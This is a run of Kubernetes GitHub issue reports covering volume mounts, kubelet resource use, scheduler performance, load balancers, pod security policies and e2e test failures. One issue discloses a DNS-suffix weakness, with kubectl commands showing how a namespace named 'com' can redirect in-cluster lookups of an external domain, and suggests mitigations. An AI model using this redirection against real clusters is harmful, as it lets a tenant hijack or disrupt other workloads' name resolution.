is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  not very sure about this, but it's behavior is not so good to me.\r \r >  \r \r   what happened  :\r static pods can mount pvc when a normal pod with the same pvc is scheduled to the same node.\r \r   what you expected to happen  :\r the behavior should be consistent.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a pvc\r 2. create a normal pod and mount the pvc in step 1\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: example\r spec:\r   volumes:\r     - name: nfsvol\r       persistentvolumeclaim:\r         claimname: myclaim\r   containers:\r     - name: example\r       image: busybox\r       command:  \ sleep\ , \ 10000\  \r       volumemounts:\r         - name: nfsvol\r           mountpath: /nfs\r           subpath: container-example/pod-example\r    \r 3. check where the normal pod is scheduled.\r 4. in the node where the previous pod is scheduled, we create a static pod, mount the nfsvol pvc again:\r    \r kind: pod\r apiversion: v1\r metadata:\r   name: my-test-pod\r   namespace: default\r spec:\r   volumes:\r   - name: nfsvol\r     persistentvolumeclaim:\r       claimname: myclaim\r   containers:\r     - name: ubuntu\r       image: ubuntu\r       command:\r         - sleep\r         - \ 36000\ \r   volumemounts:\r   - name: nfsvol\r     mountpath: /nfs\r   restartpolicy: always\r    \r 5. check the running containers with command  docker ps , we can see the container runs successfully.\r \r   anything else we need to know?  :\r the static pod and normal pod should be in the same namespace.\r \r   environment  :\r community master\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >   \r   what happened  :\r kubelet high and memory useage\r below text from command top\r \r   pid user      pr  ni    virt    res    shr s   %cpu  %mem     time+ command\r  2691 root      20   0 16.668g 0.012t  19808 d 1421.7 31.13  20798:20 /opt/k8s/bin/kubelet --logtostderr=false --v=0 --log-dir=/opt/k8s/log --port=10250 --hostname-overri+\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t15:22:13z\ , goversion:\ go1.9.6\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:38:10z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r kvm\r cpu: 40\r memory: 40g\r \r - os  e.g. from /etc/os-release :\r name=\ sles\ \r version=\ 12-sp3\ \r version_id=\ 12.3\ \r pretty_name=\ suse linux enterprise server 12 sp3\ \r id=\ sles\ \r ansi_color=\ 0;32\ \r cpe_name=\ cpe:/o:suse:sles:12:sp3\ \r - kernel  e.g.  uname -a  :\r linux kvm-icbc-dev13 4.4.135-4.g1047fd5-default  1 smp tue jun 5 21:01:50 utc 2018  1047fd5  x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

test os where kubernetes where running has been cloned to be able to fast run on production environment. it's created as single master cluster.\r on new machine hostname and ip address has been changed, though old hostname and ip address has remained in config files.\r have searched and found steps below:\r 1.  find /etc/kubernetes/ -type f | xargs grep $oldip  have return config files to change, by the same way have changed old hostname to new hostname\r 2. regenerated apiserver keys with  kubeadm alpha phase certs apiserver \r 3.\r  systemctl daemon-reload  \r  systemctl restart kubelet \r \r \r for command  kubectl get nodes  still returns old hostname.\r name                    status   roles    age   version\r localhost.localdomain   notready    master   38d   v1.12.1\r \r command  kubectl describe nodes  \r ...\r conditions:\r   type             status  lastheartbeattime                 lasttransitiontime                reason                       message\r   ----             ------  -----------------                 ------------------                ------                       -------\r   outofdisk        unkown   fri, 16 nov 2018 17:53:03 +0600   tue, 09 oct 2018 09:13:56 +0600   nodestatusunkown     kubelet stopped posting node status\r   memorypressure   unkown   fri, 16 nov 2018 17:53:03 +0600   tue, 09 oct 2018 09:13:56 +0600   nodestatusunkown   kubelet stopped posting node status\r   diskpressure     unkown   fri, 16 nov 2018 17:53:03 +0600   tue, 09 oct 2018 09:13:56 +0600   nodestatusunkown     kubelet stopped posting node status\r   pidpressure      false   fri, 16 nov 2018 17:53:03 +0600   tue, 09 oct 2018 09:13:56 +0600   kubelethassufficientpid      kubelet has sufficient pid available\r   ready            unkown    fri, 16 nov 2018 17:53:03 +0600   mon, 05 nov 2018 16:09:40 +0600   nodestatusunkown                 kubelet stopped posting node status\r addresses:\r   internalip:  old ip address\r   hostname:    old localhost name\r ...\r \r environment:\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:46:06z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:36:14z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r could you please guide me, which steps i forgot to implement in order to run kubernetes successfully?\r \r  /triage support\r \r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r volume spec of a pod exported as a file to certain dir  e.g. poddir/volumedir/volumetype/volumename_spec.json \r \r   why is this needed  :\r \r a lot of runtimes were introduced along with development of kubernetes, such as kata, gvisor. and technicals of filesystem sharing as 9pfs are not ideal in perspective of performance.\r \r exporting volume specs can enable runtimes to implement volumes themselves. for example, kata can setup a local storage within guest vm for the emptydir volume. some runtimes may scan volume by the suggested volume name  kubernetes.io~emptydir  to get the volume type, however other infomations, like sizelimit, are lost.\r \r 

i was running some experiments to see what throughput we can get if scheduler wouldn't have all those fancy predicates and priorities.\r so what i did is i removed all but \ podfitsresources\  predicates and all priorities.\r \r what surprised me was that in 5k-node clusters, the throughput i got was ~140pods/s and it was purely limited by scheduler  for simple pods .\r \r so i looked into the profiles and observed, that:\r \ nodetree.next  \ \r is consuming pretty much the same amount of time as computing those predicates:\r \r  profile001.pdf  https://github.com/kubernetes/kubernetes/files/2715044/profile001.pdf \r \r it is coming from here:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/core/generic_scheduler.go l431\r \r i think this is a significant waste of resources:\r - we are pretty much interating over cachednodeinfomap  just in a different order \r - we are accessing that cachednodeinfomap anyway below:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/core/generic_scheduler.go l435\r \r additionally, given that we need locking in that next   function, this is unnecessary serializing some of the operations and introducing lock contention  especially for those simple predicates for which computing is really is fast .\r \r i think that it is overcomplicated, given how rarely set of nodes changes.\r we probably should consider the following:\r - keep references to nodes in a simple slice  that gives us constant time access to n-th element \r - access to that list can be locked with read-mutex  so reduce lock-contention \r - only when set of available nodes changes, rebuild that structure  using that fancy logic to rounrobin over zones, etc. \r \r @kubernetes/sig-scheduling-bugs @kubernetes/sig-scalability-bugs \r \r /assign @bsalamat\r \r @bsalamat - can you triage this?

given the state of cloud-lb today, most  gce, aws, openstack  lb implementations target nodes indiscriminately.  we should ensure that the cloud-load-balancer is only targetting healthy nodes.  we should health-check to the nodes' kubelet or kube-proxy or add a new \ do nothing but answer node health\  daemon.

ingress can pull tls assets out of a secret... is the expected format of those asserts documented anywhere?  aka, \ the cert and key fields of the secret must be pkcs8 encoded\  ?

feature request:\r   - ability to run a scheduled job as a daemonset so it can run on each node. e.g. image garbage collection with something like  docker-gc  https://github.com/spotify/docker-gc/ \r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:42:39z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   what you expected to happen  :\r the ability to target more than one node in a scheduled job. if i specify a nodeselector for workers the job will only run on 1 worker node. i would like the job to run on all worker nodes.\r \r   how to reproduce it    as minimally and precisely as possible :\r    \r apiversion: batch/v2alpha1\r kind: scheduledjob\r metadata:\r   name: hello\r spec:\r   schedule: 0/1       ?\r   jobtemplate:\r     spec:\r       template:\r         spec:\r           containers:\r           - name: hello\r             image: busybox\r             args:\r             - /bin/sh\r             - -c\r             - date; echo hello from the kubernetes cluster\r           restartpolicy: onfailure\r         nodeselector:\r           nodetype: worker\r    \r \r i think there is a notion of a node service being worked on but i a  couldn't find the link/doc describing how it works b  don't think it applies to scheduled jobs

kubernetes version  \r kubernetes 1.5.2\r \r when using api of  https, it provies the protocols as follow by npn:\r   h2\r   http/1.1\r   h2-14\r \r and if i request the exec api with http2:\r \r < http/2 400 \r < content-type: application/json\r < content-length: 167\r < date: mon, 16 jan 2017 09:27:14 gmt\r < \r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ upgrade request required\ ,\r   \ reason\ : \ badrequest\ ,\r   \ code\ : 400\r }\r it will also failed regardless add header of upgrading to spdy or http2.\r \r i can succeed only if i am using http1.1 and want to upgrade to spdy3.1 while not http2:\r > get /api/v1/namespaces/default/pods/web-0/exec?container=nginx&command=ls http/1.1\r > host: xxx.xxx.xxx\r > user-agent: curl/7.51.0-dev\r > accept:  / \r > connection: upgrade\r > upgrade: spdy/3.1\r > \r < http/1.1 101 switching protocols\r < connection: upgrade\r < upgrade: spdy/3.1\r < date: mon, 16 jan 2017 09:33:00 gmt\r \r i think it is ambiguous when someone else want to use this api.

it appears  service.beta.kubernetes.io/aws-load-balancer-proxy-protocol  turns on proxy protocol support for all backend ports https://github.com/kubernetes/kubernetes/blob/v1.5.3/pkg/cloudprovider/providers/aws/aws.go l79-l84.\r \r we have a ssh service for gitlab running alongside http and https. when we use  service.beta.kubernetes.io/aws-load-balancer-proxy-protocol: \  \   ssh does not respond correctly.\r \r we need to be able to specify the ports to enable, i.e.  service.beta.kubernetes.io/aws-load-balancer-proxy-protocol: \ 80,443\  \r \r a temporary fix for now is to run the following command after elb is created:\r    \r aws elb set-load-balancer-policies-for-backend-server --load-balancer-name elb_name --instance-port relevant_port --policy-names \   \ \r

what keywords did you search in kubernetes issues before filing this one?\r \r loadbalancersourceranges\r \r ---\r \r   is this a bug report or feature request?   bug\r \r   kubernetes version    use  kubectl version  : \r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:53:09z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release :  ubuntu 16.04 lts  xenial xerus \r -   kernel    e.g.  uname -a  : linux k8s-master-18117938-0 4.4.0-28-generic  47-ubuntu smp fri jun 24 10:09:13 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : azure acs-engine\r -   others  : \r \r \r   what happened  :\r \r i have a service of  type: loadbalancer . i specify  loadbalancersourceranges  in the spec. on initial create of this service  via  kubectl apply ,  loadbalancersourceranges  is correctly used to define the azure nsg. however, on update of this service  again via  kubectl apply  ,  loadbalancersourceranges  in the service definition is updated  as can be seen on the dashboard , but the associated azure nsg inbound rules do not update.\r \r if the service is deleted and recreated, the nsg is deleted and created correctly.\r \r   what you expected to happen  :\r \r the changes in  loadbalancersourceranges  should be applied to the azure nsg.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r   create a service of type  loadbalancer  via  kubectl apply -f <file> , similar to:\r    \r apiversion: v1\r kind: service\r metadata:\r   name: ingress-controller-external\r   namespace: kube-system\r   labels:\r     k8s-app: ingress-controller-external\r   annotations:\r       for source ip support  see https://kubernetes.io/docs/tutorials/services/source-ip/ source-ip-for-services-with-typeloadbalancer \r     service.beta.kubernetes.io/external-traffic: onlylocal\r spec:\r   type: loadbalancer\r   loadbalancersourceranges:\r   - 24.150.0.0/16\r   ports:\r   - name: http\r     port: 80\r     targetport: 80\r   - name: https\r     port: 443\r     targetport: 443\r   - name: health\r     port: 10254\r     targetport: 10254\r   selector:\r     k8s-app: ingress-controller-external\r    \r \r   wait for it to deploy\r   edit the yaml and modify the  loadbalancersourceranges .\r    kubectl apply -f <file> \r   note the change is not applied on the azure nsg\r \r   anything else we need to know  :\r \r this is similar to issue  34218 but the difference here is that changing an annotation in order to apply the update  does not  fix/work around the problem.\r \r originally reported @ https://github.com/azure/acs-engine/issues/423 and tagging @brendandburns  as requested by @colemickens .

as discussed on slack with @gmarek, we might want to clean the node controller from code that ensures backward compatibility for version 1.4 and earlier ones.\r \r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r deploy nginx service using kubernetes\r   what you expected to happen  :\r i got this error:\r \r failed to download openapi  the server could not find the requested ressource ,falling back to swagger couldn't get version parse error: json: cannot unmarshal string into go value of type struct  { apiversion string \ json:\\\ apiversion,omitempty\\\ \ ;kind string \ json:\\\ kind,omitempty\\\ \ }\r \r   how to reproduce it  as minimally and precisely as possible   :\r i execute this cmd:\r  kubectl create -f nginx-pod.yaml \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubectl version\r \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ xxxxxxxxxxxxx\ , gittreestate:\ clean\ , builddate:\ xxxxxxxxx\ , goversion:\ \ , compiler:\ \ , plateform:\ \ }\r server version: version.info{major:\ 1\ , minor:\ 2+\ , gitversion:\ v1.2.0-rancher-1, gitcommit:\ xxxxxxxxxxxx\ , gittreestate:\ clean\ , builddate:\ xxxxxxxxx\ , goversion:\ \ , compiler:\ \ , plateform:\ \ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

by creating a namespace called  for example  \ com\ , a service in that namespace called  for example  \ yahoo\  will be resolved by other pods referencing yahoo.com  without the trailing dot .\r \r    \r kubectl create ns com\r kubectl create service externalname yahoo -n com --external-name google.com \r    \r \r within a pod  even in another namespace  pinging yahoo.com then pings google.com's ip.  you can also create a real k8s service, it doesn't have to be  externalname .\r \r the problem here is that our dns suffix resolution first considers google.com as a  <service>.<namespace>  name  adding the .svc.cluster.local. suffix and looking that up first \r \r as long as all pods are performing tls validation this should only be a dos issue, and is only possible when you have permissions to create namespaces on the cluster.\r \r concerned admins could pre-create and lock-down \ critical\  tlds, and of course we should all be using the trailing dot where possible  i.e.  yahoo.com.  will not go through suffix-evaluation \r \r another possible way of preventing arbitrary namespace creation could be a hook like https://github.com/openshift/kubernetes-namespace-reservation \r \r cc @thockin @philips as this may feed into broader dns discussions

\r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r   \r >  \r \r   what happened  :\r \r such as the parameter of  runtime-request-timeout  for kubelet, the help message do not include the default value, i need to search in the code to get the default value.\r \r   what you expected to happen  :\r we should add the default value in help message like 1.9.\r \r    \r       --runtime-request-timeout duration                                                                          timeout of all runtime requests except long running request - pull, logs, exec and attach. when timeout exceeded, kubelet will cancel the request, throw out an error and retry later.  default 2m0s \r    \r \r  \r

here is the status right now:\r    \r root:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r root:~  kubectl get svc -n kube-system | grep dns\r kube-dns               clusterip   10.96.0.10       <none>         53/udp,53/tcp   68d\r \r root:~  kubectl get pod -n kube-system -o wide | grep dns \r coredns-657fc9d5b8-85mfb                1/1       running     0          28m       172.26.2.164   yksp009029\r \r root:~  kubectl get ep kube-dns -n kube-system\r name       endpoints                         age\r kube-dns   172.26.2.164:53,172.26.2.164:53   68d\r \r \r  here are svcs info\r root:~  kubectl get svc -o wide -n kube-system\r name                   type        cluster-ip       external-ip    port s          age       selector\r heapster               clusterip   10.111.110.137   <none>         80/tcp          67d       k8s-app=heapster\r kube-dns               clusterip   10.96.0.10       <none>         53/udp,53/tcp   68d       k8s-app=kube-dns\r kubernetes-dashboard   nodeport    10.104.130.140   <none>         443:30843/tcp   67d       k8s-app=kubernetes-dashboard\r monitoring-grafana     clusterip   10.109.146.115   192.168.9.60   80/tcp          67d       k8s-app=grafana\r monitoring-influxdb    clusterip   10.101.110.69    <none>         8086/tcp        67d       k8s-app=influxdb\r traefik-web-ui         clusterip   10.98.101.187    <none>         80/tcp          67d       k8s-app=traefik-ingress-lb\r \r \r  all svcs work normally except kube-dns\r root:~  telnet 10.111.110.137 80\r trying 10.111.110.137...\r connected to 10.111.110.137.\r escape character is '^ '.\r ^c\r connection closed by foreign host.\r \r  the port of the kube-dns svc is in a non-listening state,but in fact, the pod on end-point is listening\r root:~  telnet 10.96.0.10 53\r trying 10.96.0.10...\r telnet: unable to connect to remote host: no route to host\r \r  ping is ok\r root:~  ping 10.96.0.10\r ping 10.96.0.10  10.96.0.10  56 84  bytes of data.\r 64 bytes from 10.96.0.10: icmp_seq=1 ttl=64 time=0.055 ms\r 64 bytes from 10.96.0.10: icmp_seq=2 ttl=64 time=0.038 ms\r \r  the kube-dns endpoint pod is in listening state\r root:~  telnet 172.26.2.164 53\r trying 172.26.2.164...\r connected to 172.26.2.164.\r escape character is '^ '.\r connection closed by foreign host.\r    \r \r  it just look like every thing is fine.whether it is viewing the svc/pod/endpoint status, logs,iptables,network,everything is normal.\r but only the one svc--kube-dns don't work,it causes to be unable to parse the domain name in pod,but ping ip is ok.\r so worry about this for a long time,somebody can help me?\r

i'm trying to assign pod security policies with rbac, so i have enabled psp in admission controller and  created a default  restricted  policy and a privileged policy for kube-system pods. \r \r default-policy:\r    yaml\r apiversion: policy/v1beta1\r kind: podsecuritypolicy\r metadata:\r   annotations:\r     apparmor.security.beta.kubernetes.io/allowedprofilenames: 'runtime/default'\r     apparmor.security.beta.kubernetes.io/defaultprofilename:  'runtime/default'\r     seccomp.security.alpha.kubernetes.io/allowedprofilenames: 'docker/default'\r     seccomp.security.alpha.kubernetes.io/defaultprofilename:  'docker/default'\r   name: default\r spec:\r   allowedcapabilities:       default set of capabilities are implicitly allowed\r   allowprivilegeescalation: false\r   fsgroup:\r     rule: 'mustrunas'\r     ranges:\r         forbid adding the root group.\r       - min: 1\r         max: 65535\r   hostipc: false\r   hostnetwork: false\r   hostpid: false\r   privileged: false\r   readonlyrootfilesystem: false\r   runasuser:\r     rule: 'mustrunasnonroot'\r   selinux:\r     rule: 'runasnonroot'\r   supplementalgroups:\r     rule: 'runasnonroot'\r     ranges:\r         forbid adding the root group.\r       - min: 1\r         max: 65535\r   volumes:\r   - 'configmap'\r   - 'downwardapi'\r   - 'emptydir'\r   - 'persistentvolumeclaim'\r   - 'projected'\r   - 'secret'\r   hostnetwork: false\r   runasuser:\r     rule: 'runasany'\r   selinux:\r     rule: 'runasany'\r   supplementalgroups:\r     rule: 'runasany'\r   fsgroup:\r     rule: 'runasany'\r \r ---\r \r   cluster role which grants access to the default pod security policy\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrole\r metadata:\r   name: default-psp\r rules:\r - apigroups:\r   - policy\r   resourcenames:\r   - default\r   resources:\r   - podsecuritypolicies\r   verbs:\r   - use\r \r ---\r \r   cluster role binding for default pod security policy granting all authenticated users access\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrolebinding\r metadata:\r   name: default-psp\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: default-psp\r subjects:\r - apigroup: rbac.authorization.k8s.io\r   kind: group\r   name: system:authenticated\r    \r privileged-policy:\r \r    yaml\r   should grant access to very few pods, i.e. kube-system system pods and possibly cni pods\r apiversion: policy/v1beta1\r kind: podsecuritypolicy\r metadata:\r   name: privileged\r spec:\r   allowedcapabilities:\r   - ' '\r   allowprivilegeescalation: true\r   fsgroup:\r     rule: 'runasany'\r   hostipc: true\r   hostnetwork: true\r   hostpid: true\r   hostports:\r   - min: 0\r     max: 65535\r   privileged: true\r   readonlyrootfilesystem: false\r   runasuser:\r     rule: 'runasany'\r   selinux:\r     rule: 'runasany'\r   supplementalgroups:\r     rule: 'runasany'\r   volumes:\r   - ' '\r \r ---\r \r   cluster role which grants access to the privileged pod security policy\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrole\r metadata:\r   name: privileged-psp\r rules:\r - apigroups:\r   - policy\r   resourcenames:\r   - privileged\r   resources:\r   - podsecuritypolicies\r   verbs:\r   - use\r \r ---\r \r   role binding for kube-system - allow nodes and kube-system service accounts - should take care of cni i.e. flannel running in the kube-system namespace\r   assumes access to the kube-system is restricted\r apiversion: rbac.authorization.k8s.io/v1\r kind: rolebinding\r metadata:\r   name: kube-system-psp\r   namespace: kube-system\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: privileged-psp\r subjects:\r - apigroup: rbac.authorization.k8s.io\r   kind: group\r   name: system:nodes\r   namespace: kube-system\r - apigroup: rbac.authorization.k8s.io\r   kind: group\r   name: system:serviceaccounts:kube-system\r    \r     expected behavior\r that all kube-system pods get required privileges. \r \r     current behavior\r \r journalctl -u kubelet\r \r  worker00 kubelet-wrapper 11489 : e1112 15:02:24.911462   11489 kubelet.go:1622  failed creating a mirror pod for \ kube-proxy-worker00_kube-system 7c6d12170daf62b23d0a4600346b4d80 \ : pods \ kube-proxy-worker00\  is forbidden: unable to validate against any pod security policy:  spec.securitycontext.hostnetwork: invalid value: true: host network is not allowed to be used spec.volumes 0 : invalid value: \ hostpath\ : hostpath volumes are not allowed to be used spec.volumes 1 : invalid value: \ hostpath\ : hostpath volumes are not allowed to be used spec.containers 0 .securitycontext.privileged: invalid value: true: privileged containers are not allowed spec.containers 0 .securitycontext.hostnetwork: invalid value: true: host network is not allowed to be used  \r \r   environment:  \r \r k8s version: v1.10.5\r distrib_id=\ container linux by coreos\ \r distrib_release=1745.7.0\r distrib_codename=\ rhyolite\ \r \r  \r \r \r

hit irc at least twice:  i have a beefy node, how do i test how many pods i can put on it? there seems to be a hard limit.   maybe we can append some text about max-pods and limit ranges to our large cluster or production pods docs?  https://github.com/kubernetes/kubernetes/blob/release-1.0/docs/admin/cluster-large.md, http://kubernetes.io/v1.0/docs/user-guide/production-pods.html . limits already have  https://github.com/kubernetes/kubernetes/blob/e366f2c597df57494c647dd5d0e99305d887b321/docs/admin/limitrange/readme.md  but clearly not too findable.  @gmarek

if some issue is preventing the instance manager from starting its vms, the creation part of kube-up will just loop indefinitely.  e.g., a typo when changing the minion_scopes list in  cluster/gce/config-default.sh  will cause this, something i've observed happen multiple times .  if the user goes into the 'instance groups' panel in the dev console they can get more info, but they won't necessarily know to do this.  from the command line it's pretty opaque.  i'd suggest the script should try n times, then propagate back the instance group manager's reported error.  and probably terminate/clean up

https://github.com/kubernetes/kubernetes/pull/17438 noted a location where the logging did not meet the  conventions  https://github.com/kubernetes/kubernetes/blob/master/docs/devel/logging.md . there is possibly other areas in the codebase that are not following the conventions and should be found and brought up to date. this issue is opened for folks who would like to fix specific areas of the codebase and reference an issue or, alternately, review and note that a section is following conventions.

a gke user has seen random yet frequent \ use of closed network connection\  errors from http liveness probes. it was confirmed that the container in question was running fine the entire time.      kubectl version client version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.2\ , gitcommit:\ 3085895b8a70a3d985e9320a098e74f545546171\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.3\ , gitcommit:\ 6a81b50c7e97bbe0ade075de55ab4fa34f049dc2\ , gittreestate:\ clean\ }      this is _not_ caused by  15643 since the fix for that was included in v1.1.1.  i suspect that this is caused by https://github.com/golang/go/issues/9405, where request timeout errors aren't reported correctly. opening this issue to track similar failures.

the e2e suite sets a client.timeout on the http.client of 30 seconds and then passes this into the restclient for the suite. this causes all watch calls to fail after 30s.  the client timeout should probably not apply to calls on  pkg/client/restclient.request  that are expected to stream  or should be a separate timeout .  however, the abstraction in use in rest client doesn't allow us to easily alter the timeout.  we want to reuse the client  its cookies and its transport , but change only the timeout and only on certain calls, while preserving the ability to inject test implementations for mocking.  one option would be to change the signature of the interface request accepts to have a method,  dotimeout x, req   and use a timeout passed into the restclient.  that would give us appropriate control over the timeout.  in general, setting the timeout by default is a good thing, and it should be possible on a per request basis to customize that value.

it would be nice&trade; to be able to specify which container exit codes should elicit a retry attempt.  perhaps something like this:      yaml spec:   containers: ....   restartpolicy: onexitcode   recoverableexitcodes:     - 2     - 4       this would mean a failed container will not be restarted   unless   it exited with code  2  or  4 .   \\cc @xiang90

i found that there is an object  podtemplate  registered in apiserver which we can use as other kube objects.\r \r from the struct definition,  podtemplate  contains  podtemplatespec  just as other workload objects, such as rc. but i do not find any usage of  podtemplate  object from either doc or code. and rc/ps/ss does not have any reference to  podtemplate  actually.\r \r so i want to understand:\r - what's the intention to expose  podtemplate  object from apiserver?\r - is this object a legacy one which will be retired in the future?

what?  \r \r when i run e2e test in my local machine with kube-proxy running in   userspace   mode. i find test case:\r \r \ should check kube-proxy urls\  in  test/e2e/networking.go  will try to hit  /proxymode  and assume it is   iptables   mode by default. see https://github.com/kubernetes/kubernetes/blob/master/test/e2e/networking.go l86\r \r \r if it's not easy to pass in kube-proxy mode in e2e test framework, i wonder why check proxy mode and hard code it to be   iptables  ?\r \r \r

creating a valid ic is accessible in etcd, but isn't returned via the list call.  it's accessible via get directly.\r \r not clear what is wrong.

observed consistently for the last few e2e-gci-gke-serial runs.\r \r /cc @kubernetes/sig-api-machinery-bugs \r \r cc @kubernetes/kubernetes-release-managers\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/extension/initializers.go:206\r expected error:\r     < errors.statuserror | 0xc4214a1980>: {\r         errstatus: {\r             typemeta: {kind: \ \ , apiversion: \ \ },\r             listmeta: {selflink: \ \ , resourceversion: \ \ },\r             status: \ failure\ ,\r             message: \ the server could not find the requested resource  post initializerconfigurations.admissionregistration.k8s.io \ ,\r             reason: \ notfound\ ,\r             details: {\r                 name: \ \ ,\r                 group: \ admissionregistration.k8s.io\ ,\r                 kind: \ initializerconfigurations\ ,\r                 uid: \ \ ,\r                 causes:  \r                     {\r                         type: \ unexpectedserverresponse\ ,\r                         message: \ 404 page not found\ ,\r                         field: \ \ ,\r                     },\r                  ,\r                 retryafterseconds: 0,\r             },\r             code: 404,\r         },\r     }\r     the server could not find the requested resource  post initializerconfigurations.admissionregistration.k8s.io \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/extension/initializers.go:130\r    \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/1510 k8sio-initializers-should-dynamically-register-and-apply-initializers-to-pods-serial\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/1509 k8sio-initializers-should-dynamically-register-and-apply-initializers-to-pods-serial\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/1511 k8sio-initializers-should-dynamically-register-and-apply-initializers-to-pods-serial

